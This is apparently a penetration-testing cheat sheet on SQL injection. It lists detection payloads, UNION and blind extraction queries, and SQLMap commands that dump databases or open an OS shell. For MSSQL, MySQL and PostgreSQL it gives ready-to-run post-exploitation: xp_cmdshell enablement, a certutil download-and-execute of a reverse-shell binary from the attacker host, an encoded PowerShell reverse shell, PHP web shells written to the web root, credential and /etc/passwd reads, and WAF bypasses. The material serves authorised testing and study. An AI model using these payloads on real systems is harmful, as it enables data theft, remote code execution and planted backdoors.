Skip to main content

SQL Injection & Database Attacks

SQL injection occurs when user-supplied input is included in a SQL query without proper sanitization, allowing an attacker to manipulate the query logic.

# Set environment variables
export TARGET=<ip>
export USER=<username>
export PASSWORD=<password>
export LHOST=<your-ip>
export LPORT=4444

Identifying SQL Injection

Manual Testing

Submit these payloads into input fields, URL parameters, cookies, and HTTP headers to test for SQLi:

'
"
' OR 1=1--
" OR 1=1--
' OR 1=1#
') OR 1=1--
1' ORDER BY 1--
1 UNION SELECT NULL--
' AND 1=1--
' AND 1=2--
'; WAITFOR DELAY '0:0:5'--
' AND SLEEP(5)#

If the application returns a different response (error, different content, or time delay) compared to normal input, SQLi is likely present.

tip

Always test both single quotes and double quotes. Also test in less obvious places: search fields, sort parameters, hidden form fields, referrer headers, and cookie values.

Error-Based Detection

If the application returns SQL error messages, you can extract data through the errors themselves:

MySQL error extraction:

' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e))--

MSSQL error extraction:

' AND 1=CONVERT(int, (SELECT @@version))--

Determining the Database Type

Different databases use different syntax. Identify the backend based on error messages or behavior:

TestMySQLMSSQLPostgreSQLOracle
String concat'a' 'b''a'+'b''a'||'b''a'||'b'
Comment# or -- -- -- --
SleepSLEEP(5)WAITFOR DELAY '0:0:5'pg_sleep(5)DBMS_LOCK.SLEEP(5)
Version@@version@@versionversion()SELECT banner FROM v$version

UNION-Based Injection

UNION-based SQLi appends a second query to the original, allowing you to extract data from other tables. Requirements: you must know the number of columns in the original query, and the data types must be compatible.

Step 1 — Determine Column Count

Use ORDER BY to find how many columns the original query returns:

' ORDER BY 1-- 
' ORDER BY 2--
' ORDER BY 3--

Increase the number until you get an error. If ORDER BY 4 errors but ORDER BY 3 doesn't, the query has 3 columns.

Alternatively, use UNION SELECT NULL:

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--

The query succeeds when the number of NULLs matches the column count.

Step 2 — Find Displayed Columns

Determine which columns are rendered in the response:

' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,NULL,'a'--

Whichever position shows a in the response is where you can extract data.

Step 3 — Extract Data

MySQL — list all databases:

' UNION SELECT schema_name,NULL,NULL FROM information_schema.schemata--

MySQL — list tables in a database:

' UNION SELECT table_name,NULL,NULL FROM information_schema.tables WHERE table_schema='<database>'--

MySQL — list columns in a table:

' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--

MySQL — extract data:

' UNION SELECT username,password,NULL FROM users--

Concatenating Multiple Columns

If only one column is displayed, concatenate data:

MySQL:

' UNION SELECT CONCAT(username,':',password),NULL,NULL FROM users--

MSSQL:

' UNION SELECT username+':'+password,NULL,NULL FROM users--

PostgreSQL:

' UNION SELECT username||':'||password,NULL,NULL FROM users--

Blind SQL Injection

When the application doesn't display query results or errors, but behaves differently based on true/false conditions.

Boolean-Based Blind

The page content changes based on whether the injected condition is true or false:

-- Test: does the first character of the database name = 'a'?
' AND SUBSTRING(database(),1,1)='a'--

-- Iterate through characters
' AND SUBSTRING(database(),1,1)='b'--
' AND SUBSTRING(database(),1,1)='c'--

Extract data character by character. This is tedious manually — use SQLMap for automation.

Time-Based Blind

The page doesn't change visually, but you can detect true/false based on response time:

MySQL:

' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)--

MSSQL:

'; IF (SUBSTRING(DB_NAME(),1,1)='a') WAITFOR DELAY '0:0:5'--

PostgreSQL:

'; SELECT CASE WHEN (SUBSTRING(current_database(),1,1)='a') THEN pg_sleep(5) ELSE pg_sleep(0) END--

SQLMap

Automated SQL injection detection and exploitation tool.

Basic Usage

Test a URL parameter:

sqlmap -u "http://$TARGET/page?id=1" --batch

Test a POST request (save the request from Burp to a file):

sqlmap -r request.txt --batch

Enumeration

List databases:

sqlmap -u "http://$TARGET/page?id=1" --dbs

List tables in a database:

sqlmap -u "http://$TARGET/page?id=1" -D <database> --tables

Dump a table:

sqlmap -u "http://$TARGET/page?id=1" -D <database> -T users --dump

Dump specific columns:

sqlmap -u "http://$TARGET/page?id=1" -D <database> -T users -C username,password --dump

OS Shell

If the database user has sufficient privileges, SQLMap can attempt to get an OS shell:

sqlmap -u "http://$TARGET/page?id=1" --os-shell

Useful Flags

FlagPurpose
--batchUse default answers (non-interactive)
--level 5Maximum test level (tests headers, cookies)
--risk 3Maximum risk (includes heavy time-based tests)
--technique=UOnly use UNION-based technique
--technique=TOnly use time-based blind
--threads 10Speed up enumeration
--tamper=space2commentApply tamper script for WAF bypass
--proxy http://127.0.0.1:8080Route through Burp
--formsAutomatically test HTML forms
--crawl=2Crawl the site to find injection points
warning

SQLMap is very noisy. On a real engagement, prefer manual testing first and only use SQLMap for exploitation and data extraction once you've confirmed the injection point.


MSSQL Specific

Connecting

impacket-mssqlclient $USER:$PASSWORD@$TARGET -windows-auth

Enabling xp_cmdshell

If you have sysadmin-level access, enable command execution:

EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

Execute OS commands:

EXECUTE xp_cmdshell 'whoami';

MSSQL Enumeration

-- Version
SELECT @@version;

-- Current user
SELECT SYSTEM_USER;
SELECT USER_NAME();

-- Check if sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');

-- List databases
SELECT name FROM sys.databases;

-- List tables
SELECT * FROM <database>.information_schema.tables;

-- Read a table
SELECT * FROM <database>.dbo.<table>;

-- List logins
SELECT name, type_desc FROM sys.server_principals;

-- Linked servers (for pivoting)
EXEC sp_linkedservers;

MSSQL File Read

Read files using OPENROWSET (requires BULK access):

SELECT * FROM OPENROWSET(BULK 'C:\Windows\System32\drivers\etc\hosts', SINGLE_CLOB) AS x;

MSSQL Reverse Shell

Use xp_cmdshell to download and execute a payload:

EXECUTE xp_cmdshell 'certutil -urlcache -f http://LHOST/reverse.exe C:\Users\Public\reverse.exe';
EXECUTE xp_cmdshell 'C:\Users\Public\reverse.exe';

PowerShell reverse shell via xp_cmdshell:

EXECUTE xp_cmdshell 'powershell -nop -w hidden -e <base64-payload>';
tip

If xp_cmdshell is blocked but you have sysadmin, try sp_OACreate with OLE Automation Procedures, or use CLR assembly execution as alternatives.


MySQL Specific

Enumeration

-- Version
SELECT version();

-- Current user
SELECT user();
SELECT current_user();

-- List databases
SHOW databases;

-- List tables
USE <database>;
SHOW tables;

-- Privileges
SHOW GRANTS FOR current_user();

File Operations

Read a file (requires FILE privilege):

SELECT LOAD_FILE('/etc/passwd');

Write a file (requires FILE privilege and a writable directory):

SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php';
warning

secure_file_priv restricts file read/write to a specific directory. Check with SHOW VARIABLES LIKE 'secure_file_priv';. If it's empty, there are no restrictions. If set to a path, you can only read/write within that directory. If NULL, file operations are completely disabled.


PostgreSQL Specific

Enumeration

-- Version
SELECT version();

-- Current user
SELECT current_user;

-- List databases
\l
SELECT datname FROM pg_database;

-- List tables
\dt
SELECT tablename FROM pg_tables WHERE schemaname='public';

-- List columns
SELECT column_name FROM information_schema.columns WHERE table_name='<table>';

Command Execution

Using COPY (requires superuser):

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE cmd_exec;

File Read

CREATE TABLE file_content(content text);
COPY file_content FROM '/etc/passwd';
SELECT * FROM file_content;

File Write

COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';

Common WAF Bypass Techniques

When a web application firewall blocks your injection attempts:

TechniqueExample
Case variationSeLeCt, uNiOn
Inline commentsUN/**/ION SE/**/LECT
URL encoding%27%20OR%201%3D1--
Double URL encoding%2527 for single quote
Whitespace alternativesUNION%0aSELECT, UNION%09SELECT
No spacesUNION(SELECT(1),(2))
String concatenationCONCAT(0x73,0x71,0x6c) instead of 'sql'